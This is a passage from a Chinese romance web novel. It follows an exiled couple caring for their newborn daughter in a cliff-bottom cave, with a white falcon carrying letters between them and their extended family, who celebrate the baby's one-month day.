苏琯璋方才还惦记着的月事带也装了不少,被一卷棉布好好地包着。 而其他零零碎碎的东西也装得满满当当的,还有调料、纸笔等物,甚至还有一个铜盆,怨不得会这样重。 等他终于收拾妥当,宣槿妤已经看着他出神了好一会儿。 “怎么了?”苏琯璋将东西归置好,坐在床边看她。 宣槿妤对他露出个甜蜜的笑,声音小小,含着羞意道:“嫁给你真好。” 这是她第一次直白地对他诉说着情话,这样将心事明明白白地袒露在他面前,苏琯璋一时都有些发怔。 孩子“哼唧”了一声。 苏琯璋回过神,将女儿抱起,“槿妤,娶到你,才是我之幸。”他温柔地道,手下却感受到一点湿润,顿时失笑。 孩子尿了。 这对夫妻间互诉衷情的旖旎气氛便这样散掉了。 “幸好东西都送来了。”苏琯璋快速解开他的薄袄,将尿布给女儿垫好,再利落地用小包被将她重新裹好。 将孩子放回宣槿妤身侧继续睡时,吃饱喝足的白隼也扑扇着翅膀飞进来了,很快停在苏琯璋方才拿进来支在地上、用来挂东西的那座竹架子上。 它睁着圆溜溜的眼睛盯着宣槿妤看了好一会儿,而后视线偏移,停留在那个被裹得严严实实的小包被上,不动了。 白隼在这儿杵着,且苏琯璋才又做过给孩子换尿布这样的事,他手上还拿着被尿湿的薄袄。 二人再没有方才的缠绵心思了。 只是,宣槿妤看了一眼苏琯璋手中湿漉漉的薄袄,而后抬眼和他对视,眉眼弯弯的,显然心情极好。 这又是在取笑他呢! 苏琯璋用干净的那只手摸了摸她的头。 “白隼在这儿陪你,我先到小山洞那里待一会儿。”他说。 宣槿妤也不问他要做什么,只微微颔首,而后便听他继续问:“累不累?要继续睡么?” 才吃过东西,躺下其实也有点不大舒服,可是起身更难受。 宣槿妤不想让他担心,闭上了眼睛。 苏琯璋见状,亲了亲她的眼睛,给她探过脉,再小心地给她换上了月事带,这才起身走出大山洞。 潺潺流水声是极好的助眠之乐,掠过山洞中的风也轻柔,吹得人暖意融融的。 山洞外虫鸣鸟叫声也极为悦耳,窸窸窣窣的丛林动静在安静的山洞中也听得明晰。 宣槿妤面上带了笑,才闭上眼睛没多久,便睡熟了。 苏琯璋放下手中的活计进来看过几次,她脸上的笑也一直没下去,不知是做了什么好梦。 再看一旁,孩子依旧熟睡着。她是真的很乖,眼睛紧闭着,虽然还没睁开过眼睛,但眉眼的轮廓可以隐约看出他的影子。 而白隼也不知是何时也阖上了眼睛,翅膀收拢,挂在竹架子上一动不动,好似也睡着了。 苏琯璋心里像是涌起一股暖潮,激荡的情绪冲刷着他素来冷静的理智。 他深吸一口气,眨了眨有些发红发热的眼睛,又悄悄退出了大山洞。 第73章 第73章夫人可是冤枉为夫了 等宣槿妤醒来时,一直守在孩子身边的白隼不知去向。她朝洞口方向看去,便见宽大的洞口被一扇竹门挡住了。 她便明白了苏琯璋方才去小山洞里,都是在活忙些什么了。 “小山洞也装了一扇竹门。”苏琯璋将怀中哄了一会儿还是哼哼唧唧的女儿抱到宣槿妤身边。 “若我要出去,便会将两扇竹门阖上,便不会有什么东西轻易闯进来。” 担心她害怕,他俯身在她额头上亲了亲,“别怕,我会尽早回来,有事就叫我,我会听见的。” 他不会走远,最多就是到竹林砍些竹子,猎物鱼虾野菜等吃食他都可以在山洞附近找寻。 宣槿妤依赖地将伸手揽住他的脖子,“嗯”了一声。 被父亲放在床上,闻到了香甜的气息,却等不到口粮的孩子终于忍不住,“哇哇”大哭起来。 她委屈极了。 抱在一处的夫妻二人被惊动,忙分开。 苏琯璋忙解释道:“她饿了。” 宣槿妤心疼地将手边的孩子圈在怀中,解开了衣襟。这时的她也顾不得苏琯璋在看着,反正她早前喂奶的时候他也见过了。 顺利吃上口粮,孩子不哭了,只还抽抽噎噎的,可怜得很。 “气性这样大。”苏琯璋蹲在石床边,爱怜地摸了摸她的小包被,低笑,“也好,日后不会轻易被人欺负。” 宣槿妤看着女儿嘴巴一努一努的,大口大口地吞咽着,闻言挑眉看他,“你是想说,女儿随我?” 气性大,不就是在点她么?哼! 才给了几句情话,这男人就要上天了。 苏琯璋低笑改闷笑,“夫人可是冤枉为夫了。” 宣槿妤这下真的“哼”出声来了,“就是随我怎么了?你不喜欢?” 是谁昨日抱着她可怜巴巴地告白来着? “喜欢。”苏琯璋不假思索地回。 不害臊,哪有这样大大咧咧地当着女儿的面说喜欢的? 宣槿妤腹诽着,扬起的眉毛却温顺地回到了原位,眼中的笑意挡也挡不住。 夫妻俩言语上腻歪了几句,宣槿妤才问起白隼的踪迹来。 “玉爪是走了吗?”她眼里藏着细微的落寞,是真的舍不得这只极通人性的白隼。 苏琯璋看出她的不舍,忙回道:“没有,你睡着的时候,我请它带了信给父亲他们。” 受材料所限,早些时候那封血书并没有交代太多关于他们的处境。而送来的包裹中,宣纸上的字是大哥苏琯煜写的。 “大哥说,他会带人随白隼一起过来,最好将我们接出去。” 但一个多时辰过去了,他方才又出了一趟山洞,却依旧没有听闻任何关于人类的动静,也没有找到任何人活动过的踪迹。 至少在竹林到这山洞之间的这一片也算极大的范围内没有,而旁的区域,考虑到宣槿妤母女,他还不会去涉足。 “若是能进来,他们定然已经进来了。”苏琯璋说,“想必是地形所限,他们进不来。” 宣槿妤有些失望,但也谈不上难过,只点点头。 她昨日从湖里往周围望的时候也看出来了,他们所在的山坳好似就是被四面八方的山峰所包围的。 她也有了在这里常住的心理准备的。 这时,安安稳稳睡着的孩子又开始哼哼唧唧起来。 “许是尿了。”苏琯璋说,从一旁取来新的尿布,将孩子抱在怀里。 解开小包被,果真是尿了,湿答答的尿布裹着孩子的小屁股,她有些不舒服地皱起了眉。 苏琯璋轻笑,“才出生的小人儿,竟也会皱眉。”他促狭地点了点女儿的小鼻子,又惹得她皱了皱鼻子,眼见着哼唧声就要变哭声。 宣槿妤看他方才第一次换尿布的时候还不大熟练,颇有些束手束脚的意味。 现在第二次换,竟也有模有样了。 她眼里才含了笑,却又见他如此手欠,登时柳眉倒竖,“你别闹她。” 苏琯璋对她露出个笑,十分听话,“我不闹了,槿妤你别生气。” 他手中动作很快,这时已经换好尿布,在重新裹女儿的小包被。 没有父亲的作弄,身上也清爽了,孩子很快安静下来。 苏琯璋将女儿放回宣槿妤身侧,讨好地亲了亲她,“还生气么?” 宣槿妤发现,自从他们昨日将心结说开,他身上的清冷气息便淡了很多。而今日女儿出生之后,他更是一直处于一种精神亢奋的状态。 明明昨夜上半夜没怎么睡,下半夜又和她在湖里泡了一夜,她今日都补了两次眠,他竟还如此精神。 甚至还有闲情逗弄才出生的女儿来! 她看着他眼中隐隐的笑意,好似明白了什么,“女儿出生,你是不是很开心?” 开心到,都做出和他往日沉稳清冷形象全然不符的事来了。 在苏家三年,她可从未见他有这样闹过慕哥儿他们兄弟姐妹七个。 听她如此说,苏琯璋眼中的笑意都要溢出来了,抵着她的额头,明亮的双眼和她对视,“槿妤,我是很开心。” 宣槿妤摸了摸他的脸。 “槿妤,谢谢你!”苏琯璋倾身吻她,动作十分克制且轻柔,“她是我们的女儿,我当然开心。” 这孩子,是他们二人的骨血,他如何不欢喜? 今晨他担心着刚生产完的宣槿妤,心神几乎都全然放在她身上。 直到刚才,看着母女二人和守在一旁的白隼皆是熟睡的安然静好模样,为人父的喜悦、和一股难言的感动才后知后觉漫上他的心头。 “傻子。”宣槿妤轻声说。 苏琯璋低笑,“嗯”了一声,又亲了亲她的鼻尖,“我是木头,是呆子,也是傻子,还是槿妤的夫君。” 宣槿妤听他点着她给他起的那些绰号,如此情浓之时本还有些不自在和心虚,却又听他得意地说了最后一句话。 才不要让他这么得意呢! 宣槿妤推了推他,苏琯璋顺势起了身。 “你方才浑说,我见慕哥儿、秩哥儿他们刚出生的时候都是皱着眉的。” 宣槿妤翻旧账,“亏娘亲说你和产婆、府医、奶娘他们学了不少,孤陋寡闻。”她娇哼声。 他们女儿才第一回皱眉,就这样被父亲取笑,还作弄得要哭了。 苏琯璋坐在床边,低头看她,附和道:“嗯,我是孤陋寡闻。” 宣槿妤料得到他会认下自己对他的“指控”,也正如苏琯璋猜得出她知道自己并非不懂,不过是过于开心,为掩饰而取笑女儿而已。 “夫人见多识广,今后就拜托夫人好好教导为夫这个孤陋寡闻之人了。”苏琯璋摩挲着她置于披风下的手,动作颇有几分轻佻。 不像个正经人。 宣槿妤被他调戏得红了脸,却没说什么,只重又转移话题,问苏琯璋:“你方才如何知道女儿是尿了的?” 女 儿今日才出生,他这么快就清楚了解了? 苏琯璋点了点她的手,力度不轻不重,垂眸看她的眼神中颇有几分意味深长。 宣槿妤只觉得这男人就跟开了窍似的,往常就像个公狐狸,如今就更像勾人心魄的狐狸精了。 她有些招架不住,软绵绵地反握住他作弄她的食指,摇了摇。 她知道,他也招架不住她这样撒娇的。 果真,苏琯璋身上散发的“狐媚之气”很快散了,恢复了他往日的模样。 “我猜的。”苏琯璋说,将食指从她手中抽出来,很快回握住她,十指紧扣,“女儿才喝过奶,想来不会这么快就饿的。” 小婴儿嘛,不是饿了,就是尿了,拉了,身上不舒服了……左不过是这些需求,也挺好猜的。 宣槿妤闻言,眼里含了笑,“那女儿日后都交给你来伺候了。”她娇声道。 她也是才想起,等她坐完月子之后,若女儿尿了或拉了,她会不会还是一回事;要紧的是,她是没做过这样的事,没有这个意识。 她以前就连穿衣洗漱这样的小事,都是有婢女伺候着的。 万一她弄疼女儿了可怎么办? 最最重要的是,宣槿妤有些不好意思地承认:即便是她生下来的女儿,她再爱她,好像也不怎么能克服嫌弃脏污的心理去给她换尿布。 但她还是个好娘亲的,宣槿妤坚信。 苏琯璋不知是否是看透了她的心思,只俯首在她唇上亲了亲,“好,都交给我。” 他本想说,要孩子的母亲给他点好处的。 但方才她明显就招架不住了,且她才生完,还是不急着逗弄她为好。 她不说,他也本就要一直伺候她们母女的。她喂奶就足够辛苦的了,他哪里舍得让她做换尿布这样事。 而且……他又亲了亲她的脸,才起身。 即便他不开口找她要好处,他实际动作上就不会自己要了么? 宣槿妤可不知道他都在想些什么,只见他动作克制轻柔,面上也温柔,心里软软的,对他甜甜一笑。 苏琯璋摸了摸她的脸,“我要去煮鱼汤了,你陪女儿再继续睡?” 宣槿妤皱起鼻子,苏琯璋发现女儿方才的表情和她此时的样子一模一样,又低头笑了笑。 “不睡了。”宣槿妤说。再睡,她都要和女儿一样了。女儿是猪崽,那她是什么? 即便是心里想想,她也不愿意想到那两个字。 “那我给你换个姿势?”苏琯璋问。 他小半个时辰前才给她换的睡姿,她醒来后又维持这样一个姿势这样久,想必此时也累了。 宣槿妤点点头。 姿势很快调整好,因为她今日一直朝着孩子的方向侧卧,于是苏琯璋也将熟睡中的孩子换了个方向,放到她身边。 白隼在这时候回来,同样带了一个大包裹。 第74章 第74章一群人才意识到原来白…… 苏琯璋便将煮鱼汤的事先延后,先收拾好包裹。 “他们一人给我们写了一封信。”苏琯璋说,举起手中厚厚的一沓信封。 宣槿妤来了兴致,“我想看。” 苏琯璋摇头,“待会儿我读给你听。”信封这样多,不似上午的宣纸字大好读,她又侧躺着,会伤眼睛的。 他收拾好东西,才从怀中取出方才塞进去的那些信封,拆开来,一一看过去。 看到属于宣文晟的那封信,他才上手,便察觉到了异样。 好似是信中信。 他不动声色地拆了信封,快速将明面上的那封信读完。 而后趁着宣槿妤和白隼说话没有留意他的时机,很快将暗中的厚厚信纸塞进怀中。 日子一天一天过去。 很快就到了孩子的满月日。 白隼一早就带回了苏家人和宣文晟托它送过来的各色礼物,将大山洞一角堆得满满当当的。 而后,它又衔着苏琯璋的回信飞出了这崖底。 宣槿妤下身撕裂的伤口也早就长好,恶露也在前些时日全然排干净,她如今也能抱着孩子在大山洞里稍稍转转了。 当然,只有苏琯璋外出管不到她时,她才会这么偷偷地抱孩子。 只短暂的不到一刻钟的时间,她也满足了。 苏琯璋说,月子里抱孩子会伤手。故而平日里都是他在抱女儿,只在她喂奶时可以圈一圈女儿的小身子。 可是日日看着这样一个小小团儿,还是她九月怀胎生下来的,她哪里忍得住不抱她。 孩子是在半个月大的时候完全挣开双眼的,如今已经全然褪去刚出生时的胎脂,红通通的肤色也逐渐变为婴儿特有的细嫩肌肤。 只瞧着还很幼嫩,宣槿妤抱着她时都不敢用力,生怕碰疼了她。 苏琯璋的感觉没有错,孩子的眉眼确实像他。 全然睁开眼睛时,眸中的淡然和她父亲如出一辙。 只她年纪还太小,那种淡然便不怎么明显。若非时刻观察着她的爹娘,也只会觉着这孩子眼神清透,日后定是个聪明孩子。 “像我不好吗?”听到宣槿妤抱怨时,苏琯璋这样问她。 宣槿妤用孩子的小手去打他,力道轻飘飘的。孩子以为是在跟她玩儿,嘴巴咧开,笑了。 “我可没说不好。”宣槿妤被孩子笑得心都化了,赶忙收回自己方才的话,假装她什么也没说过。 苏琯璋握住孩子的小手,“嗯。”他意味不明地应了一声。 “女儿只是眉眼像我,鼻子、嘴巴、耳朵、轮廓等都像你的。” 苏琯璋感受着孩子紧握住他手指的力道,声音也放轻了不少,“槿妤,我们的岚姐儿,长大了定是个健康聪明的漂亮姑娘。” 他又低笑了声,“和她娘亲一样。” 宣槿妤抬眼瞪他,健康和漂亮她承认,可没人说过她聪明。连将她捧在掌心的外祖父都说她是懒得动脑子的笨蛋姑娘,白长了一张漂亮脸蛋。 他莫不是在使坏取笑她罢?为报复她方才说他是座冰冷玉雕、讨人嫌的事? 可是,苏琯璋却没笑她,只是很认真地和她对视,“外祖父只是说你懒得动脑子,没说你不聪明是不是?” 他特别会找角度思考问题,“我们从盛京城到这淮招县,槿妤在很多时候都展露了自己的聪明才智。” “就前日夜里,我才说了恐有变故,你就猜出来有人要对我们动手了对不对?”他举例道。 其实宣槿妤不仅猜出来了是有人要对他们动手了,还猜出来了是谁要下手。 她眨眨眼,“这不是很明显的事?” 狗皇帝早就看他们一家不顺眼。若非如此,外祖父也不至于担心他暗中下手,放弃力争三司会审,而以金腰带换他们流放。 苏琯璋手里还抱着孩子,只空出一只手抚过她的脸颊,“所以我说槿妤聪明。” 他的眼神十分专注,看着她的样子像是要将她的样子刻在心间,又像是在表明他话中的真心实意。 宣槿妤被他看得脸色绯红,臊的。 亏她还以小心之心度君子之腹,怀疑他使坏,她心虚地移开了目光。 孩子打了个哈欠,一直睁着的双眼不知何时已经闭上了。 苏琯璋抱着女儿晃了几下,她便沉沉睡去。 这孩子尤其好带,且爱笑,只饿了尿了拉了才哼唧几声。乖得让夫妻二人都省了不少心,却也在担心她脾性这样好,日后被人欺负可怎么办。 苏琯璋将孩子放下,改将宣槿妤抱在怀中。 “我们槿妤还有很多优点。”他贴着她的耳朵,鼻息打在她敏感的耳廓上,惹得她直往他身上躲。 实在躲不了,她伸手捂住他的口鼻,不让他继续作弄她,嗔道:“我是有很多优点,你继续说,但不许这样闹我。” 苏琯璋亲了亲她的手,拉开,很快贴上她的唇,“嗯,我慢慢和你说。” 声音消失在她恢复了血色的唇瓣间。 想着昨日二人那个缠绵悱恻的吻,宣槿妤脸色又有些作烧。 她已经抱着孩子走了一圈,脸上的热度依旧没有散去,她便低头去看女儿。 小小的孩子躺在娘亲的臂弯里,十分安然,睁着一双明亮的大眼睛看着虚空。 宣槿妤知道,这样大的孩子还看不清远处的事务,顶多能看清抱着她的人。 “乖孩子,告诉娘亲,你在看什么呢?”宣槿妤忍不住亲了亲她粉嫩的小脸,而后便见她打了个呵欠,小手举在头顶,慢慢闭上了眼睛。 宣槿妤失笑,将她抱回床 上。 “真是只小猪崽。”她勾了勾已经睡着了的女儿的小鼻子。 外面的竹门被敲响。 是苏琯璋回来了。 因为担心直接推门吓到她和孩子,所以他每次回来时都会在外面小山洞的竹门上敲几下,给她作提醒。 “今日又偷偷抱女儿了?”苏琯璋推开大山洞的竹门,含笑看着坐在床沿的宣槿妤。 宣槿妤理不直气也壮,“苏琯璋,你冤枉我。”她瞪他,却没多少气势。 “嗯,是我冤枉了夫人。”苏琯璋用石壁凹陷出流出来的山泉水洗干净了手,抬脚朝她走来,“要我给你揉揉手臂吗?”他含笑问道。 他这么一问,宣槿妤也才后知后觉发现自己的双手手臂果真酸了。 她心虚地将手伸过去给他,任他熟练地按着。 自宣槿妤能够下床走动后,这样的对话就持续到了今日。二人一个耍赖,一个纵容,已经配合得十分默契了。 “白隼还没回来?”苏琯璋环视一圈,没看到玉爪的身影。 他出去时,竹门是被锁着;但近来白隼学会了啄门,宣槿妤听到它的叫声和啄门声是会去开门的。 想到白隼,宣槿妤脸上不自觉地便带了笑,“没有。” 她眸中的揶揄溢了出来,“想必三哥哥又给它喂了好吃的,它还舍不得回来。” 听她如此说,苏琯璋脸上也含了笑。 宣槿妤这么说是有原因的。 前些时日,因为频繁在崖底和淮招县城外的宅子里往来,一日白隼闹了脾气。 它将苏琯璋写的信扔给苏琯煜之后,便要展翅飞走,被眼疾手快的苏家世子抓住了翅膀。 “你要去哪儿?不再等等么?” 白隼伸头就去啄苏琯煜的手,还好他放手及时,不然手就得多几道口子了。 “脾气也太大了些。”旁观了整个过程的宣文晟感慨。 这些时日白隼任劳任怨、兢兢业业地往返送信送包裹,他们已经习惯了,不想却忘记了它仍是天上的凶禽、林中崖间的野物。 白隼翅膀扇起的风扑了宣文晟一脸,他呆滞地站在原地,眼睁睁地看着它高傲凶狠地睨他一眼,很快头也不回地飞走了。 这样的事又发生了一次。 白隼带来苏琯璋的信,却只愿意衔着厚厚的信封,不肯再抓住他们准备好的大包裹。 一群人才意识到原来白隼在闹脾气。 “是不是太重了,它不愿意?”许玉娘猜测。 慕哥儿一边吃着肉干一边插嘴,“小婶婶和小叔叔都喂它吃肉的。” 童言稚语当不得真,却惊醒了一群大人。 他们面面相觑,尴尬了好一会儿,才各自不自在地移开目光。 “也是哈!”宣文晟撑着笑,“没有白让隼干活儿不给酬劳的。” 他们也过于迟钝了些。 自那之后,白隼得了他们准备的各色好吃的,才又重新恢复了任劳任怨的“搬运伙计”模样,心甘情愿地抓着沉重的大包裹送到崖下。 交到苏琯璋手里时,它也照旧会得一顿生肉奖励。 可谓是两头通吃。 “刚认识它那会儿,它还半个月不吃东西。”苏琯璋笑,想起三舅兄在信上的抱怨,“哪知如今竟变成了这样。” 过于贪吃了些,和它凶禽的形象一点都不符。 说话间,被二人取笑的白隼已经到了外面的小山洞口。 “回来了。”苏琯璋对宣槿妤道。 宣槿妤若无其事地摸了摸女儿细软的胎发。 这就心虚了?苏琯璋在她脸上亲了一口,方才说他坏话的时候怎么就不见心虚呢? 一股浓烈的食物香气霸道地充盈了整个山洞。 白隼双爪抓着一只大竹筐掠进竹门。 宣槿妤已经分辨出其中最香甜带酸的一道香气,是属于猪脚姜的。她生下女儿的半个月后,许玉娘就亲手做了这道进补食材,托白隼送了来。 闻着这样浓郁的香气,又想到酸甜可口的猪脚,宣槿妤不自觉地摸了摸肚子。 噢,是到用午膳的时辰了。 她好像也饿了。 苏琯璋也伸手摸了摸她的肚子,在被她瞪了一眼之后,摸了摸鼻子,起身去接白隼牢牢抓着的那只竹筐了。 第75章 第75章三哥不是你亲哥哥,你知…… “饿坏了罢?”苏琯璋将他早前做好的竹桌摆到床边,从竹筐里取出被裹得严严实实的一道道美食。 他们平日里会比这个时辰还要早一点吃午膳,只清早白隼送来的各色礼物中,夹带了母亲的一封信,说是他们会准备好今日的膳食,让他不用做饭。 是以,他回来时才会先去看白隼有没有回来。 “咦?山外下雪了?”宣槿妤已经瞧见了裹在竹筐最外层的稻草上,融化了一大半的雪花。 再看白隼,它埋着头,在吃苏琯璋方才出去给它找的肉,小脑袋上看不出有什么,可瞧着翅膀在微微发着光。 宣槿妤伸手一摸,发光的地方触手微凉。原来是雪水已经化了,只鸟类羽毛疏水,仅翅膀表面沾了一丝水意。 苏琯璋回头看见这一幕,忙将她的手牵过来,合拢在掌心,运起内力给她暖着。 “冷不冷?”他问。 她才沾了一点凉意的手很快就变得暖烘烘的,宣槿妤挠了挠他的掌心,“有点热了。” 苏琯璋这才收回内力,又用自己的体温给她捂了好一会儿,才继续去做自己方才没有完成的事。 竹筐外层裹了稻草,里层还包了一层小棉被,而每一道食物也都由棉袄包得紧实,打开时,宣槿妤看到每一道菜都还在冒着热气。 “母亲嫂嫂她们费心了。”宣槿妤揽住苏琯璋的腰,脸贴在上面,蹭了蹭。 她嫁了他,又多了许多真心实意对她好的亲人,真好! 她已经很久没有这样主动过,苏琯璋身子本能地一僵,很快放松下来,任她抱着。 只宣槿妤已经察觉到了那瞬间,他身上传来的、隔着外袍也挡不住的滚烫热意。她松了手,若无其事地坐直了身子。 苏琯璋深吸口气。 槿妤饿了,要先顾着她的肚子。 他道了声:“稍等我片刻。”便很快走到放在床尾山壁那处的炉子旁,摸了摸其上铜壶的温度,提了起来。 给宣槿妤净过手,他才将所有棉袄拆开。 瓦罐里头猪脚姜的独特香气便萦绕在鼻尖,久久不散。 睡梦中的孩子努了努嘴,宣槿妤失笑地亲了亲她的小脸蛋儿,“小馋猫儿。” 女儿乖乖的,但贪吃。每次喝奶都像是缺了她几顿奶似的,狼吞虎咽的,可每次都将她掏空了。 宣槿妤咬下苏琯璋喂到嘴边的猪脚,软烂可口,颇得她意。 她得多吃些,不然孩子再大些,真怕奶水不够这小馋猫儿吃的。 宣槿妤将流连在女儿小脸的手收了回来,自己拿起了筷子,“不用喂我,你也一起吃。”她温声对苏琯璋道- 过了这座高峰,天气便一下子变得迥异起来。 十月里分明还是冬日,淮招县这头却清润温凉,一如他们当时在刑部死牢里谋划时所想。 只今年不似以往,一进入十一月,初一那夜就骤然降了温,而前几日也已经下起雪来了。 幸好孩子们和老夫人经过大半年的长途跋涉,身子骨都比以往健康许多,才没一下子病倒。 只为了稳妥,苏声、许玉娘和苏二婶三人商议一 番,便将他们拘在屋里,不许出门了。 孩子们面对伯祖父/伯祖母/祖母的威压,倒都不敢反抗,只一个个趴在窗前,开着一点门缝看雪。 他们的爹娘倒是睁一只眼闭一只眼,随他们去了,也不说什么“当心冷风灌进屋里”的扫兴话。 甚至还应了他们的要求,在雪地里团了几个雪球,捧着回屋给他们玩一玩。虽说屋内烧着火盆,雪球便很快就化了,但亦没影响他们的好兴致。 倒是苏老夫人,前几日倒也听话,真就没有出门,一日三餐都由两个儿媳端过来和她一起吃。 长子、三位孙儿和三位孙媳也常过来陪她说话,她也不算无聊。 不过,因为今日是岚姐儿的满月日,苏老夫人惦记着这个自出生就没见过的小重孙女儿,倒是有些不乐意再待在屋里了。 “这大半年的流放之路我都走过来了。”她不满地看着挡在门口的长子长媳和二儿媳妇。 “怎么,下几场雪而已,我老婆子就会病倒?京中的雪可比这淮招县的雪大多了,也不见我往年生病。”苏老夫人道。 她这是生气了的表现。 她往日可从不自称“老婆子”的。 许玉娘和苏声夫妻俩面面相觑。 苏二婶低垂着眼,假装什么也没听见。 僵持之中,许玉娘看了苏二婶一眼。 凭着相处了二十多近三十年的默契,苏二婶很快会意。她不动声色地小幅度偏了偏身子,挡住了苏声和苏老夫人的眼角余光。 许玉娘嘴角露出一抹笑,悄悄伸出手,在苏声身后使力,推了他一把。 妯娌二人若无其事地看着苏声猝不及防之下,往前走了一步,迎上了苏老夫人的怒目。 苏声毫无准备之下,被迫站在了生气的老母亲面前。他只讪笑了下,顶着她不善的目光,摸了摸鼻子。 “母亲别生气。今儿是岚姐儿满月的好日子,多笑笑,啊?”他干巴巴地哄着老人。 可是,往日十分好脾性的苏老夫人,在被困在屋中好几日之后,也没了之前的好脸。 见老母亲毫不买账,苏声毫不犹豫地开始出卖小儿子。“璋小子也真是的,给他送去的笔墨纸砚那样充足,竟连张孩子的小像都不送来。” 苏老夫人瞪他,“说的是你不给我出门的事,作甚要牵扯我的乖孙孙?” 只不过,苏声的话到底提醒了她。 “怎么连孩子的小像都不画一张送过来,白疼他了。”苏老夫人忍不住小声嘀咕道。 祸水东引成功。 苏声刚松了口气,腰间便传来一阵刺痛,他皱起眉。 许玉娘又狠狠拧了一圈,在苏老夫人看过来之前,才松了手。 仍是不解气,她借着苏二婶的遮挡,悄悄地又掐了他一把。 他这当人父亲的,竟拿儿子出来当挡箭牌,也是真够可以的。 苏声自知理亏,忍着腰间的痛,什么表情也不敢露出来。若被苏老夫人看出一点端倪,那等着他的,便是婆媳俩的联手了。 敲门声起,站在门边的苏二婶开了门。 “白隼又来了。”许萱娘快步从门外走进来,手中拿着一个信封。 一屋子的人都看向她。 许萱娘进门时带进来一股冷风,和一身的雪花,许玉娘忙拉着她到火盆边烤着去去寒意。 “不是说今日不传信了?”苏声问,有些担心,“可是出了什么事?” 许玉娘已经接过信封拆了开来。 一张小像落在她掌心。 孩子的小像。 才被苏声祸水东引,用来埋怨儿子的小像。 巴掌大的小像上,孩子睁着眼,正甜甜地笑着。 看着似是才褪去脸上的皱巴巴模样,都还没长开,却已经看得出来,她稚嫩的眉眼间和苏琯璋的相似。 但整体看上去,其实更像是宣槿妤的小翻版。才满月的小人儿,已经可以窥见日后的倾城之姿来。 许玉娘眼圈一红。 这是她的幼孙女儿,苏玉岚。 岚姐儿今日满月,她才得见她的画像,遑论抱抱她。 隔着几重山水,许玉娘心中五味杂陈;但很快,喜意便压过了其他的情绪。 苏老夫人早已被那小像上胖嘟嘟的小娃娃吸引,忙从许玉娘手里接过来,捧在手里不住地看着,手微微发抖。 “这是岚姐儿。”她眼中滚下热泪,担心弄湿小像,她忙挪开。 其余人也忙凑上来看。 今日大家伙给孩子送过去的小衣裳、金锁之类的东西宣槿妤和苏琯璋都给孩子换上了,岚姐儿打了呵欠要睡时才脱下来的。 而小像上,正是岚姐儿穿着大红小衣裳的小模样。 苏家没有什么“红男绿女”的说法,每个孩子都同样重要。满月时,每个娃娃都是穿的大红衣裳,图个喜庆。 一群人围着那巴掌大的小像,看了许久,才不舍地移开目光。 “你这当人父亲的,竟拿儿子来说事。” 苏老夫人想起方才苏声暗中给苏琯璋上的眼药,“哼”了一声,“我是见了岚姐儿的小像,心情好,才不与你计较。” 她拍了苏声一掌,疼得他皱起眉,“下次你再编排我的璋小子,拿他当挡箭牌试试?” 这一巴掌足够响亮,许萱娘悄悄瞥了一眼公爹的面色,低着头,试图缩小自己的存在感。 而苏二婶则是别过头,忍着笑。 许玉娘却毫无掩饰地捂着嘴笑了。 若是有心人将宣槿妤对付苏琯璋的那一套用来对比,就会发现,原来宣槿妤很多动作,都是学的她这婆母。 若非让苏琯璋来作比较,便是宣槿妤和婆母亲近,早深得她真传,且青出于蓝。 毕竟,宣槿妤虽没有习过武,但一身神力是任何人都比不了的。 且她不似许玉娘那般爽朗大气,性子要娇气许多,便是掐人、取笑夫君这样的事,被她做出来,也总给人一种让人心怜的感觉。 甚至还会让人因此迁怒被她欺负的人。 苏琯璋就是这样,很多次都从“被欺负”的那个,被误会为“欺负”了人的那个,倒是得了好一通埋怨和责备,有苦难言。 而另一项手段,咬人,宣槿妤倒是喜欢。 但苏琯璋从未见过母亲咬过父亲,至少明面上没有。至于私底下有没有,他当人儿子的,也不会去窥探父母的隐私。 且他那样的性子,也很难生出探究的想法。 “小弟将岚姐儿的小像送来了是不是?”门再次被敲响,不待屋里的人去开,来人已经自己推门走了进来。 苏琯文风风火火地率先走了进来,身后跟了一串人。 苏琯煜和苏琯武走在最后,中间是一连串穿得严严实实的小萝卜头,一个个圆滚滚的,走路都险些走不稳。 常湄言和丁茜茜走在两旁,时不时扶一把、捞一下要摔的孩子。 “你这人,怎的进祖母房中也不等人开门就自己进来了?” 苏二婶盯着幼子苏琯武关了门,又去教训长子苏琯文,“怎的就那般急?学过的规矩都进狗肚子去了?” 苏琯文许久没有被母亲这样张口就骂,还真有些怀念。 他掏了掏有些发痒的耳朵,又去抱苏二婶,“母亲别气,儿子这就给祖母道歉。” 苏老夫人看穿了他的把戏,“得了,祖母看着你长大,还能不明白你心里的小九九?” 道歉是真,但更要紧的,是趁机看她手中岚姐儿的画像 罢?! 她方才可是还未见其人,就已经听闻其声了。 “来来来,”她招呼其余眼巴巴地盯着她手中小像的人,“都过来排队,从小到大排序,文小子你排你大哥身后。” 苏二婶笑出声来,拍了拍苏琯文的背,“去排队罢,小子。” 姜还是老的辣。 婆母这一招好啊! 这臭小子,都是三个孩子的父亲了,性子还是这样风风火火说风就是雨的。 是得磨一磨才好。 “哇!”那头第一个看小像的慕哥儿叫了起来,“妹妹和小婶婶好像。” 他小心地摸了摸小像,又去对苏老夫人笑,“曾祖母,慕哥儿也当哥哥了。”他不是家中最小的那个孩子了。 苏老夫人搂着他的小身子,笑着附和,“是啊!我们慕哥儿也当哥哥了。” 雯姐儿是第二个看小像的人。 那日得知宣槿妤苏琯璋没事,她还得了一个小堂妹之后,那些阴影仿佛就从她心里被驱逐了出去。 常湄言观察了多日,只看到孩子恢复了往日的活泼,悬着的心便放下了大半。 “妹妹和小叔叔好像。”雯姐儿摸了摸小像上岚姐儿的眼睛,认真地对慕哥儿说道。 慕哥儿摇了摇头,“明明是和小婶婶好像。” “小叔叔。”雯姐儿纠正。 “小婶婶。”慕哥儿坚持。 …… 两个孩子就这么争论了起来,惹得后头的孩子们个个都围了过来,再顾不得排队了。 许玉娘、苏二婶互视一眼,笑着看孩子们吵作一团,各执一词。 再看苏老夫人,也早没了不能出门的不满;只乐呵呵地被孩子们围着,听着他们的要求,去当那个裁断的人。 “你们怎么知道送来的是岚姐儿的小像?”许玉娘问长子苏琯煜,有些纳闷。 分明长媳拿过来的时候,信封还是未开启的状态,她当是第一个看到孩子画像的人才是。 苏声猜测着接话,“宣家三兄那里应当也得了一张。”他说着幽怨地看了一眼妻子,还记得她方才将自己推出去独自面对母亲怒火的事。 岚姐儿的小像宣文晟确实也得了一张,若非他的炫耀,苏琯煜他们也不会这么快就知道。 只宣文晟炫耀完了就将小像塞回信封,往怀里一放就跑回院子里了。其他人看不到,抓心挠肝的,便都一窝蜂似的,过来追许萱娘方才手中的那封信。 苏老夫人的屋子热闹着,宣文晟屋子却十分清静。 